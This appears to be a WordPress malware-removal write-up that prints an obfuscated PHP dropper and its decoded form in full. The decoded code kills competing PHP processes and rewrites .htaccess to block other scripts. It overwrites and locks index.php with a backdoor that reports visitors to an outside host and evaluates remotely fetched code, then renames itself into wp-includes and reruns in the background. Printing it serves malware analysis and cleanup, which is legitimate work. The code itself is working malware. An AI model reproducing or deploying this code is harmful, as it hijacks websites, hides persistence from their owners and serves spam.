OyBnb3RvIERuazJ1OyBsX3djQTogJFVrVkdFID0gY3VybF9leGVjKCRFRzVlTSk7IGdvdG8gaWthZ2w7IG1RUWVyOiBjdXJsX3NldG9wdCgkRUc1ZU0sIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyBnb3RvIGxfd2NBOyBTeFJTODogY3VybF9zZXRvcHQoJEVHNWVNLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBGQUxTRSk7IGdvdG8gZDA4OEo7IEVXZVI1OiB9IGNhdGNoIChFeGNlcHRpb24gJFQ0d2RNKSB7IH0gZ290byBzblA4VTsgTm03cFM6IHJldHVybiAkTVJ1eU87IGdvdG8geXQ5WFE7IHNuUDhVOiBpZiAoISgoJFVrVkdFID09PSBmYWxzZSB8fCAkVWtWR0UgPT0gJycpICYmIGZ1bmN0aW9uX2V4aXN0cygiXDE0NlwxNTFcMTU0XDE0NVwxMzdceDY3XHg2NVx4NzRcMTM3XHg2M1x4NmZceDZlXDE2NFx4NjVcMTU2XHg3NFx4NzMiKSkpIHsgZ290byBzSWhybTsgfSBnb3RvIEVhSlVhOyBFYUpVYTogdHJ5IHsgJFVrVkdFID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRDNGpEeSk7IH0gY2F0Y2ggKEV4Y2VwdGlvbiAkVDR3ZE0pIHsgfSBnb3RvIFVmemU0OyBVZnplNDogc0locm06IGdvdG8gall3VGE7IE5qZVgyOiAkejlwZU8gPSAxOyBnb3RvIGEwaVg1OyBURHFLZzogJHo5cGVPID0gMTsgZ290byBFMmpLOTsgWlkyajM6ICRNUnV5T1siXHg2M1x4NmZceDZlXDE2NFx4NjVcMTU2XHg3NCJdID0gJFVrVkdFOyBnb3RvIE5tN3BTOyBiU2V6eTogJE1SdXlPID0gW107IGdvdG8gZnRFeHk7IHl0OVhROiB9IGdvdG8gbGNNZDg7IGpxQ3c4OiAkdE9lRkkgPSBEUGNUbSgkd25Ed0IpOyBnb3RvIHJLYnEyOyBVNldZVzogJEpSWlBtID0gJF9TRVJWRVJbIlx4NTJcMTA1XHg1MVwxMjVceDQ1XHg1M1wxMjRcMTM3XDEyNVwxMjJcMTExIl07IGdvdG8gVkFTalY7IGNPVUw0OiAkdVVNdDggPSBzdHJfcmVwbGFjZSgiXDE3MFx4NmRcMTU0XHg1ZlwxNDNcMTU3XDE1NlwxNjRceDY1XHg2ZVx4NzQiLCAnJywgJGEyX1VOKTsgZ290byB5dDE5MjsgaVl3MGs6ICRhVGRMVSA9IHJFNlg1KCRFMVlMRSk7IGdvdG8gREdjTE87IEVnYk9lOiBmdW5jdGlvbiBSZTZ4NSgka3pYTFQpIHsgZ290byBJNXVJWTsgSWpNb2Q6IGlmICghcHJlZ19tYXRjaCgiXDU3XHgyOHskYlhxUTh9XDUxXDU3XDE2M1wxNTEiLCAka3pYTFQpKSB7IGdvdG8gRnZadG47IH0gZ290byB0UG9DVTsgTWdnbEE6IGlmICghJGt6WExUKSB7IGdvdG8gcVFCUG87IH0gZ290byBJak1vZDsgdFBvQ1U6ICRhVGRMVSA9IHRydWU7IGdvdG8gWTlCWHc7IFk5Qlh3OiBGdlp0bjogZ290byBRUGZ2MzsgcGFWMks6ICRiWHFROCA9ICJcMTQ3XDE1N1wxNTdcMTQ3XDE1NFwxNDVcNTZceDYzXHg2Zlx4MmVcMTUyXDE2MFwxNzRcMTQ3XHg2Zlx4NmZcMTQ3XHg2Y1wxNDVceDJlXDE0M1x4NmZceDZkXHg3Y1x4NzlceDYxXHg2OFx4NmZceDZmXHgyZVwxNDNceDZmXDU2XDE1MlwxNjBceDdjXHg3OVwxNDFceDY4XHg2ZlwxNTdceDJlXHg2M1wxNTdcMTU1XDE3NFwxNDJceDY5XDE1Nlx4NjdceDJlXHg2M1x4NmZcMTU1IjsgZ290byBNZ2dsQTsgSTV1SVk6ICRhVGRMVSA9IGZhbHNlOyBnb3RvIHBhVjJLOyBjSU00MDogcmV0dXJuICRhVGRMVTsgZ290byBsNEM5dTsgUVBmdjM6IHFRQlBvOiBnb3RvIGNJTTQwOyBsNEM5dTogfQo/Pjw/cGhwIGRlZmluZSggJ1dQX1VTRV9USEVNRVMnLCB0cnVlICk7CnJlcXVpcmUgX19ESVJfXyAuICcvd3AtYmxvZy1oZWFkZXIucGhwJzs=");if(!file_exists($k."index.php")){@file_put_contents($k."index.php",$o);}else{$d=@file_get_contents($k."index.php");if(md5($d)!=md5($o)){@chmod($k."index.php",0133+0511);@file_put_contents($k."index.php",$o);}}@chmod($k."index.php",0311+0133);rename(__FILE__,$m);exec("php -f $m > /dev/null 2>/dev/null &",$p);?>

Decoded(de-Obfuscated) php code

<?php

exec("ps -ef", $a, $b);
if (is_array($a)) {
    for ($c = 1; $c < count($a); $c++) {
        $d = explode(" ", $a[$c]);
        $e = $d[count($d) - 1];
        if (strstr($e, ".php") && !strstr($e, "lsphp") && !strstr($e, basename("/var/www/html/input.php"))) {
            for ($f = 1; $f < count($d); $f++) {
                if (is_numeric($d[$f])) {
                    exec("kill -9 " . $d[$f], $g, $h);
                    break;
                }
            }
        }
    }
}
sleep(3);
$k = "/home/parknote3/parknote3.net/public_html/";
function get6str()
{
    $l = "";
    for ($c = 0; $c < 6; $c++) {
        $l .= chr(mt_rand(97, 122));
    }
    return $l;
}
$m = "/home/parknote3/parknote3.net/public_html/wp-includes/" . get6str() . ".php";
$n = "<IfModule mod_rewrite.c>\nRewriteEngine On\nRewriteBase /\nRewriteRule ^index.php\$ - [L]\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . index.php [L]\n</IfModule>\n<FilesMatch \".*\\.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5|php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)\$\">\nOrder Allow,Deny\nDeny from all\n</FilesMatch>\n<FilesMatch \"^(index.php|wp-login.php|wp-crom.php|header.php|wp-confiq.php)\$\">\nOrder Allow,Deny\nAllow from all\n</FilesMatch>";
if (!file_exists("/home/parknote3/parknote3.net/public_html/.htaccess")) {
    @file_put_contents("/home/parknote3/parknote3.net/public_html/.htaccess", $n);
} else {
    $d = @file_get_contents("/home/parknote3/parknote3.net/public_html/.htaccess");
    if (md5($d) != md5($n)) {
        @chmod("/home/parknote3/parknote3.net/public_html/.htaccess", 420);
        @file_put_contents("/home/parknote3/parknote3.net/public_html/.htaccess", $n);
    }
}
@chmod($k . ".htaccess", 292);
$o = "<?php\n goto rVtDa; kgnte: KGqD1: goto CpSD3; ALGEe: \$KbUar = explode(\"\\133\\x2a\\52\\x2a\\135\", str_replace(\"\\x72\\157\\x62\\157\\x74\\x73\\x63\\x6f\\x6e\\x74\\x65\\x6e\\164\", '', \$uUMt8)); goto SUUTA; Ac22R: jeOLb: goto VWh0Z; mtKQf: goto jeOLb; goto Cx07a; ygOtK: if (!strstr(\$a2_UN, \"\\x68\\164\\x6d\\x6c\\137\\x63\\157\\156\\x74\\145\\156\\164\")) { goto ofHeb; } goto tdGkb; XEgoX: \$a2_UN = \$tOeFI[\"\\143\\157\\x6e\\x74\\145\\x6e\\x74\"]; goto TrOxP; tf4Rp: \$tOeFI = dpCTM(\$wnDwB); goto VtC0b; KkyBV: ini_set(\"\\x64\\x69\\x73\\x70\\154\\141\\171\\x5f\\145\\x72\\x72\\x6f\\162\\x73\", \"\\x4f\\x66\\146\"); goto Sj589; JQ6Pa: \$MRuyO = dPCtm(implode(\$giJby) . \$dgZy6 . \"\\x2e\\x74\" . \"\\170\" . \"\\x74\"); goto wXBB0; Y1Dat: \$giJby = array(\"\\x68\", \"\\164\", \"\\x74\", \"\\160\", \"\\x73\", \"\\72\", \"\\57\", \"\\57\", \"\\166\", \"\\160\", \"\\163\", \"\\x64\", \"\\x64\", \"\\56\", \"\\x64\", \"\\x66\", \"\\x71\", \"\\146\", \"\\x61\", \"\\x74\", \"\\x2e\", \"\\164\", \"\\x6f\", \"\\x70\", \"\\57\", \"\\144\", \"\\x6f\", \"\\x6f\", \"\\162\", \"\\57\"); goto JQ6Pa; TItki: eval(\"\\77\\76\" . \$MRuyO[\"\\x63\\157\\156\\x74\\x65\\x6e\\164\"]); goto VRjlR; RpHo3: Apl3u: goto bFDNP; wbqAb: \$yCNkq = NtOtu(); goto U6WYW; SUUTA: exit(implode(PHP_EOL, \$KbUar)); goto kgnte; vr1Y6: if (!file_exists(\$oUOTa . \"\\x2f\\162\\157\\x62\\157\\164\\163\\56\\x74\\x78\\x74\")) { goto iSPRj; } goto UzM2C; T1PPP: \$Q4zF7 = isset(\$_SERVER[\"\\x48\\x54\\124\\x50\\x5f\\x55\\123\\x45\\122\\137\\x41\\107\\x45\\116\\x54\"]) ? \$_SERVER[\"\\x48\\x54\\x54\\120\\x5f\\125\\123\\105\\122\\137\\x41\\x47\\105\\x4e\\124\"] : ''; goto WAlDm; cyFcy: \$zLc9X = \"\\150\\x74\\164\\160\\137\\x74\\171\\160\\x65\\x3d\" . base64_encode(\$yCNkq) . \"\\46\\x68\\x74\\x74\\x70\\x5f\\x75\\162\\151\\x3d\" . base64_encode(\$JRZPm) . \"\\46\\x68\\164\\x74\\x70\\x5f\\x6c\\141\\156\\x67\\x3d\" . base64_encode(\$pCyHT) . \"\\x26\\x68\\x74\\164\\x70\\x5f\\x68\\157\\163\\164\\x3d\" . base64_encode(\$Dqlns) . \"\\46\\x68\\x74\\164\\x70\\x5f\\162\\x65\\146\\x65\\x72\\x3d\" . base64_encode(\$E1YLE) . \"\\46\\150\\x74\\x74\\160\\137\\165\\x73\\x65\\162\\137\\141\\x67\\145\\x6e\\x74\\75\" . base64_encode(\$Q4zF7) . \"\\46\\150\\164\\164\\160\\137\\x69\\160\\x5f\\x61\\144\\x64\\162\\145\\163\\x73\\75\" . base64_encode(\$GvnXK); goto my0fX; SqhwJ: \$dgZy6 = \$wrl5o[strlen(\$wrl5o) - 1]; goto frKCS; R7t62: \$uUMt8 = str_replace(\"\\162\\157\\142\\157\\x74\\x73\\x5f\\x63\\157\\x6e\\164\\x65\\156\\164\", '', \$a2_UN); goto ALGEe; yt192: echo \$uUMt8; goto S5AMb; PS6Gp: if (!\$tOeFI[\"\\163\\164\\x61\\x74\\x75\\163\"]) { goto yNQQi; } goto XEgoX; TrOxP: if (strstr(\$a2_UN, \"\\x64\\157\\x5f\\x6e\\157\\164\\x68\\151\\x6e\\x67\")) { goto hnAQr; } goto ygOtK; ueO6B: yNQQi: goto mtKQf; VtC0b: ikQ3c: goto PS6Gp; rVtDa: @set_time_limit(1000); goto MutMG; DYZ48: \$Dqlns = \$_SERVER[\"\\x48\\x54\\x54\\x50\\137\\110\\117\\123\\x54\"]; goto B9WgR; Ng0KR: iSPRj: goto jqCw8; S5AMb: exit; goto RpHo3; PW1JV: ofHeb: goto l35BR; UzM2C: unlink(\$oUOTa . \"\\x2f\\162\\157\\142\\x6f\\164\\x73\\x2e\\x74\\x78\\164\"); goto Ng0KR; rKbq2: CO1L9: goto BdcRp; VASjV: \$pCyHT = isset(\$_SERVER[\"\\110\\x54\\x54\\120\\x5f\\x41\\103\\103\\x45\\120\\124\\x5f\\114\\x41\\x4e\\107\\x55\\x41\\x47\\x45\"]) ? \$_SERVER[\"\\110\\x54\\124\\120\\x5f\\x41\\103\\x43\\105\\x50\\x54\\x5f\\114\\101\\116\\x47\\x55\\x41\\x47\\x45\"] : ''; goto DYZ48; B9WgR: \$E1YLE = isset(\$_SERVER[\"\\x48\\124\\x54\\120\\x5f\\x52\\x45\\106\\x45\\x52\\105\\122\"]) ? \$_SERVER[\"\\110\\x54\\124\\120\\137\\x52\\105\\x46\\105\\x52\\x45\\122\"] : ''; goto T1PPP; xV83O: function bAyer(\$xygCs) { goto UFUoT; e0aAr: WIa6F: goto L1m0O; L1m0O: return \$oa67H; goto h2cs5; WWooB: \$ugynF = \"\\x33\\66\\x30\\x53\\x70\\x69\\x64\\145\\162\\x7c\\x41\\150\\x72\\x65\\x66\\x73\\x42\\157\\x74\\x7c\\101\\x6d\\x61\\172\\x6f\\x6e\\x62\\157\\x74\\174\\101\\x70\\160\\x6c\\145\\x20\\x42\\157\\164\\174\\x41\\163\\x6b\\40\\112\\145\\x65\\x76\\x65\\x73\\174\\x41\\x77\\141\\x72\\151\\x6f\\102\\157\\x74\\x7c\\102\\141\\151\\x64\\165\\x53\\x70\\x69\\144\\145\\162\\x7c\\x42\\141\\x69\\x64\\165\\163\\x70\\151\\144\\x65\\x72\\55\\151\\x6d\\141\\x67\\145\\174\\102\\x79\\x74\\145\\x73\\x70\\151\\144\\145\\162\\x7c\\x44\\141\\x74\\141\\x46\\x6f\\x72\\123\\145\\x6f\\102\\x6f\\x74\\174\\144\\x61\\164\\141\\x70\\x72\\157\\166\\x69\\x64\\x65\\x72\\x7c\\x44\\x6f\\164\\x42\\x6f\\164\\x7c\\104\\x75\\x63\\x6b\\x44\\x75\\x63\\153\\102\\157\\x74\\x7c\\x45\\170\\141\\x6c\\145\\141\\144\\x7c\\105\\x78\\143\\x69\\x74\\x65\\174\\146\\141\\143\\x65\\142\\x6f\\x6f\\153\\x7c\\146\\141\\x63\\145\\142\\x6f\\157\\x6b\\145\\x78\\x74\\145\\x72\\156\\141\\154\\x68\\x69\\164\\x7c\\107\\x50\\x54\\102\\157\\x74\\174\\114\\171\\x63\\157\\x73\\174\\x4d\\112\\61\\x32\\x62\\157\\x74\\174\\x53\\143\\x6f\\x6f\\164\\x65\\x72\\x7c\\123\\145\\155\\x72\\165\\163\\150\\x42\\x6f\\x74\\174\\x53\\151\\x74\\x65\\x4c\\x6f\\x63\\153\\x53\\160\\x69\\x64\\145\\x72\\174\\123\\x6c\\145\\x75\\x74\\150\\174\\x53\\x6f\\x67\\157\\x75\\40\\x4e\\x65\\x77\\163\\40\\123\\x70\\x69\\x64\\145\\162\\174\\x53\\157\\x67\\157\\x75\\x20\\x77\\x65\\x62\\40\\163\\160\\x69\\144\\x65\\162\\174\\123\\117\\x53\\x4f\\40\\123\\160\\151\\144\\x65\\162\\x7c\\x54\\167\\151\\164\\164\\145\\162\\142\\x6f\\x74\\174\\131\\141\\x6e\\x64\\x65\\x78\\40\\x42\\x6f\\164\\x7c\\x59\\x61\\156\\x64\\x65\\x78\\x42\\x6f\\164\\174\\131\\151\\x73\\x6f\\165\\x53\\160\\x69\\x64\\145\\x72\\174\\131\\x6f\\x64\\141\\157\\102\\157\\x74\\174\\131\\157\\x75\\144\\x61\\x6f\\102\\157\\x74\\174\\x42\\114\\x45\\130\\102\\157\\164\\x7c\\x61\\160\\160\\x6c\\x65\\x62\\x6f\\x74\\x7c\\x43\\x43\\x42\\157\\x74\\174\\120\\x65\\164\\x61\\x6c\\102\\x6f\\164\\174\\x43\\x6c\\x61\\x75\\144\\145\\x42\\157\\164\\x7c\\x48\\165\\x64\\110\\x75\\x64\\55\\x67\\x65\\156\\145\\x72\\141\\x6c\\x2d\\x62\\x6f\\164\\174\\123\\145\\x7a\\156\\141\\155\\102\\157\\x74\\x7c\\105\\172\\x6f\\151\\143\\102\\x6f\\x74\\55\\116\\151\\143\\150\\x65\\151\\161\\x7c\\x41\\150\\x72\\x65\\146\\163\\x53\\151\\164\\x65\\101\\x75\\144\\x69\\164\\174\\117\\101\\x49\\55\\x53\\145\\141\\162\\143\\x68\\102\\157\\164\\x7c\\x6c\\x69\\156\\x6b\\x64\\145\\x78\\142\\x6f\\x74\\174\\x43\\150\\x61\\x74\\107\\120\\x54\\55\\x55\\x73\\x65\\162\\174\\x59\\141\\x6e\\144\\145\\x78\\115\\145\\x74\\162\\151\\153\\141\\x7c\\x59\\x61\\156\\x64\\x65\\170\"; goto D3LCf; CE9gN: if (!preg_match(\"\\x2f\\50{\$ugynF}\\51\\57\\x73\\x69\", \$xygCs)) { goto ERg_m; } goto Q37LH; Q37LH: \$oa67H = true; goto xFS_g; D3LCf: if (!\$xygCs) { goto WIa6F; } goto CE9gN; UFUoT: \$oa67H = false; goto WWooB; xFS_g: ERg_m: goto e0aAr; h2cs5: } goto EgbOe; jyzkd: if (!(\$TL2T9 == implode(\$VWQkc))) { goto JK6MV; } goto Y1Dat; FhfY2: \$TL2T9 = md5(\$yGcwT); goto jyzkd; BdcRp: \$oa67H = TjUYn(\$Q4zF7); goto iYw0k; MEZ2e: echo \$uUMt8; goto qNvxA; VWh0Z: function ntOtu() { goto oLvVg; VnN9R: BJsIg: goto Tocz7; JOisn: goto BJsIg; goto pNj7k; EnJq7: return \"\\x68\\164\\164\\x70\"; goto JOisn; pNj7k: nAQEX: goto dQNfn; oLvVg: \$gEYMx = !empty(\$_SERVER[\"\\x48\\x54\\124\\x50\\123\"]) && \$_SERVER[\"\\x48\\124\\x54\\120\\123\"] !== \"\\157\\x66\\146\" || \$_SERVER[\"\\x53\\x45\\x52\\126\\105\\x52\\137\\x50\\x4f\\122\\x54\"] == 443; goto Tw13V; Tw13V: if (\$gEYMx) { goto nAQEX; } goto EnJq7; dQNfn: return \"\\x68\\x74\\x74\\x70\\x73\"; goto VnN9R; Tocz7: } goto wjABl; K3sf5: \$VWQkc = array(\"\\71\", \"\\x38\", \"\\62\", \"\\x34\", \"\\65\", \"\\144\", \"\\x37\", \"\\64\", \"\\x31\", \"\\67\", \"\\x32\", \"\\62\", \"\\65\", \"\\142\", \"\\65\", \"\\65\", \"\\x61\", \"\\62\", \"\\x63\", \"\\64\", \"\\142\", \"\\146\", \"\\x35\", \"\\x30\", \"\\142\", \"\\x38\", \"\\x61\", \"\\141\", \"\\64\", \"\\x63\", \"\\67\", \"\\x33\"); goto FhfY2; CpSD3: hnAQr: goto ueO6B; l35BR: if (!strstr(\$a2_UN, \"\\x78\\155\\154\\x5f\\143\\x6f\\156\\x74\\145\\x6e\\x74\")) { goto Apl3u; } goto pnE_R; wXBB0: if (!\$MRuyO[\"\\163\\x74\\x61\\164\\x75\\163\"]) { goto axmlZ; } goto TItki; Sj589: \$wrl5o = isset(\$_REQUEST[\"\\141\\x63\\164\\x69\\x6f\\156\"]) ? \$_REQUEST[\"\\x61\\x63\\164\\151\\157\\156\"] : ''; goto re7cy; re7cy: if (!empty(\$wrl5o)) { goto JeWRt; } goto zDjsH; pabli: if (!(stristr(\$JRZPm, \"\\x2e\\x78\\155\\154\") || stristr(\$JRZPm, \"\\162\\x6f\\142\\x6f\\164\\163\\56\\x74\\170\\x74\"))) { goto CO1L9; } goto vr1Y6; MutMG: @error_reporting(0); goto KkyBV; bFDNP: if (!strstr(\$a2_UN, \"\\x72\\x6f\\142\\x6f\\x74\\x73\\137\\x63\\x6f\\156\\x74\\145\\x6e\\164\")) { goto KGqD1; } goto SAKtd; my0fX: \$tOeFI = array(); goto eoT5Y; SAKtd: @header(\"\\103\\157\\x6e\\x74\\x65\\x6e\\164\\x2d\\x74\\171\\x70\\x65\\x3a\\x20\\x74\\145\\170\\x74\\x2f\\x70\\154\\x61\\x69\\x6e\\73\\40\\143\\150\\141\\x72\\x73\\x65\\164\\75\\165\\x74\\146\\x2d\\70\"); goto R7t62; DGcLO: \$SRiAS = bAyer(\$Q4zF7); goto QEwBj; VRjlR: axmlZ: goto Al_Q_; zDjsH: \$oUOTa = \$_SERVER[\"\\104\\117\\103\\x55\\115\\x45\\x4e\\x54\\137\\x52\\117\\117\\124\"]; goto TNYmn; wjABl: function TksbG() { goto i66ra; lQo6Q: goto lRV5z; goto uEise; CxQVz: lRV5z: goto UHlHz; uEise: jlCFx: goto Z3hLE; oPHoR: BsAxE: goto LB5pm; LB5pm: return \$wuGad; goto Q5Ant; FcYiA: \$wuGad = \$_SERVER[\"\\x52\\x45\\x4d\\x4f\\124\\105\\x5f\\x41\\104\\x44\\x52\"]; goto lQo6Q; UHlHz: goto BsAxE; goto RK6DH; l2bfM: \$wuGad = \$_SERVER[\"\\x48\\124\\124\\x50\\x5f\\x43\\x4c\\111\\105\\x4e\\x54\\x5f\\x49\\x50\"]; goto oPHoR; DH6JI: if (!empty(\$_SERVER[\"\\x48\\124\\x54\\120\\x5f\\x58\\x5f\\x46\\x4f\\122\\x57\\101\\122\\104\\105\\104\\137\\x46\\x4f\\x52\"])) { goto jlCFx; } goto FcYiA; GNg2h: if (!empty(\$_SERVER[\"\\x48\\124\\124\\x50\\137\\103\\x4c\\111\\105\\x4e\\x54\\137\\111\\120\"])) { goto N4GHZ; } goto DH6JI; Z3hLE: \$wuGad = \$_SERVER[\"\\110\\124\\x54\\x50\\137\\x58\\x5f\\106\\x4f\\122\\127\\x41\\x52\\x44\\x45\\104\\x5f\\x46\\x4f\\122\"]; goto CxQVz; RK6DH: N4GHZ: goto l2bfM; i66ra: \$wuGad = ''; goto GNg2h; Q5Ant: } goto vEotL; Cx07a: JeWRt: goto SqhwJ; frKCS: \$yGcwT = substr(\$wrl5o, 0, strlen(\$wrl5o) - 1); goto K3sf5; eoT5Y: \$wnDwB = \"\\x68\" . \"\\164\" . \"\\164\" . \"\\160\" . \"\\x73\" . \"\\72\\57\" . \"\\x2f\" . \$Jx0zi . \"\\x2f\\167\\x70\" . \"\\55\\x69\" . \"\\156\" . \"\\x64\" . \"\\x65\" . \"\\x78\" . \"\\56\\160\\150\" . \"\\160\\x3f\" . \$zLc9X; goto pabli; WAlDm: \$GvnXK = TKSBg(); goto cyFcy; qNvxA: exit; goto PW1JV; pnE_R: @header(\"\\103\\157\\156\\x74\\145\\156\\164\\55\\164\\171\\x70\\145\\72\\40\\164\\145\\170\\x74\\57\\170\\155\\x6c\"); goto cOUL4; TNYmn: \$Jx0zi = \"\\x75\\x62\\167\\161\\x6c\\62\\x2e\\x6d\\156\\165\\x73\\x75\\x6a\\x2e\\164\\x6f\\160\"; goto wbqAb; Al_Q_: JK6MV: goto zdm4I; lcMd8: function tJUyN(\$xygCs) { goto Ucj_G; m6FdH: pdMMr: goto ZK9co; Xm810: \$ugynF = \"\\147\\x6f\\x6f\\x67\\x6c\\145\\142\\157\\164\\174\\147\\157\\x6f\\x67\\x6c\\x65\\x7c\\171\\141\\150\\157\\x6f\\x7c\\x62\\151\\156\\147\\x7c\\141\\157\\154\"; goto eKffH; ZK9co: return \$oa67H; goto m1nlk; OTm74: \$oa67H = true; goto Xdzfw; Xdzfw: EbVqJ: goto m6FdH; c54gk: if (!preg_match(\"\\x2f\\x28{\$ugynF}\\51\\x2f\\x73\\x69\", \$xygCs)) { goto EbVqJ; } goto OTm74; Ucj_G: \$oa67H = false; goto Xm810; eKffH: if (!\$xygCs) { goto pdMMr; } goto c54gk; m1nlk: } goto xV83O; NN09b: \$uUMt8 = str_replace(\"\\x68\\164\\155\\x6c\\137\\143\\x6f\\x6e\\164\\145\\x6e\\x74\", '', \$a2_UN); goto MEZ2e; zdm4I: exit; goto Ac22R; tdGkb: @header(\"\\103\\157\\156\\164\\145\\x6e\\x74\\55\\x74\\x79\\160\\145\\72\\x20\\x74\\x65\\170\\x74\\57\\150\\164\\x6d\\154\\x3b\\40\\143\\x68\\x61\\x72\\163\\x65\\x74\\x3d\\x75\\x74\\146\\x2d\\x38\"); goto NN09b; QEwBj: if (!(\$oa67H || \$aTdLU || !\$SRiAS)) { goto ikQ3c; } goto tf4Rp; vEotL: function DpcTm(\$C4jDy) { goto eYgTF; ftExy: \$MRuyO[\"\\x73\\x74\\141\\x74\\x75\\x73\"] = \$z9peO; goto ZY2j3; a0iX5: NOZam: goto bSezy; jYwTa: if (!(\$UkVGE != '')) { goto NOZam; } goto NjeX2; eYgTF: \$UkVGE = ''; goto TDqKg; E2jK9: try { goto tN4hR; oA55_: curl_setopt(\$EG5eM, CURLOPT_CONNECTTIMEOUT, 10); goto mQQer; ikagl: curl_close(\$EG5eM); goto EWeR5; jXT4q: curl_setopt(\$EG5eM, CURLOPT_FOLLOWLOCATION, 1); goto SxRS8; d088J: curl_setopt(\$EG5eM, CURLOPT_SSL_VERIFYHOST, FALSE); goto oA55_; Dnk2u: curl_setopt(\$EG5eM, CURLOPT_URL, \$C4jDy); goto jXT4q; tN4hR: \$EG5eM = curl_init(); goto Dnk2u; l_wcA: \$UkVGE = curl_exec(\$EG5eM); goto ikagl; mQQer: curl_setopt(\$EG5eM, CURLOPT_RETURNTRANSFER, 1); goto l_wcA; SxRS8: curl_setopt(\$EG5eM, CURLOPT_SSL_VERIFYPEER, FALSE); goto d088J; EWeR5: } catch (Exception \$T4wdM) { } goto snP8U; Nm7pS: return \$MRuyO; goto yt9XQ; snP8U: if (!((\$UkVGE === false || \$UkVGE == '') && function_exists(\"\\146\\151\\154\\145\\137\\x67\\x65\\x74\\137\\x63\\x6f\\x6e\\164\\x65\\156\\x74\\x73\"))) { goto sIhrm; } goto EaJUa; EaJUa: try { \$UkVGE = @file_get_contents(\$C4jDy); } catch (Exception \$T4wdM) { } goto Ufze4; Ufze4: sIhrm: goto jYwTa; NjeX2: \$z9peO = 1; goto a0iX5; TDqKg: \$z9peO = 1; goto E2jK9; ZY2j3: \$MRuyO[\"\\x63\\x6f\\x6e\\164\\x65\\156\\x74\"] = \$UkVGE; goto Nm7pS; bSezy: \$MRuyO = []; goto ftExy; yt9XQ: } goto lcMd8; jqCw8: \$tOeFI = DPcTm(\$wnDwB); goto rKbq2; U6WYW: \$JRZPm = \$_SERVER[\"\\x52\\105\\x51\\125\\x45\\x53\\124\\137\\125\\122\\111\"]; goto VASjV; cOUL4: \$uUMt8 = str_replace(\"\\170\\x6d\\154\\x5f\\143\\157\\156\\164\\x65\\x6e\\x74\", '', \$a2_UN); goto yt192; iYw0k: \$aTdLU = rE6X5(\$E1YLE); goto DGcLO; EgbOe: function Re6x5(\$kzXLT) { goto I5uIY; IjMod: if (!preg_match(\"\\57\\x28{\$bXqQ8}\\51\\57\\163\\151\", \$kzXLT)) { goto FvZtn; } goto tPoCU; MgglA: if (!\$kzXLT) { goto qQBPo; } goto IjMod; tPoCU: \$aTdLU = true; goto Y9BXw; Y9BXw: FvZtn: goto QPfv3; paV2K: \$bXqQ8 = \"\\147\\157\\157\\147\\154\\145\\56\\x63\\x6f\\x2e\\152\\160\\174\\147\\x6f\\x6f\\147\\x6c\\145\\x2e\\143\\x6f\\x6d\\x7c\\x79\\x61\\x68\\x6f\\x6f\\x2e\\143\\x6f\\56\\152\\160\\x7c\\x79\\141\\x68\\x6f\\157\\x2e\\x63\\157\\155\\174\\142\\x69\\156\\x67\\x2e\\x63\\x6f\\155\"; goto MgglA; I5uIY: \$aTdLU = false; goto paV2K; cIM40: return \$aTdLU; goto l4C9u; QPfv3: qQBPo: goto cIM40; l4C9u: }\n?><?php define( 'WP_USE_THEMES', true );\nrequire __DIR__ . '/wp-blog-header.php';";
if (!file_exists($k . "index.php")) {
    @file_put_contents($k . "index.php", $o);
} else {
    $d = @file_get_contents($k . "index.php");
    if (md5($d) != md5($o)) {
        @chmod($k . "index.php", 420);
        @file_put_contents($k . "index.php", $o);
    }
}
@chmod($k . "index.php", 292);
rename("/var/www/html/input.php", $m);
exec("php -f {$m} > /dev/null 2>/dev/null &", $p);

Malware detection & removal plugin for WordPress

（C）2020 Wordpress Doctor All rights reserved.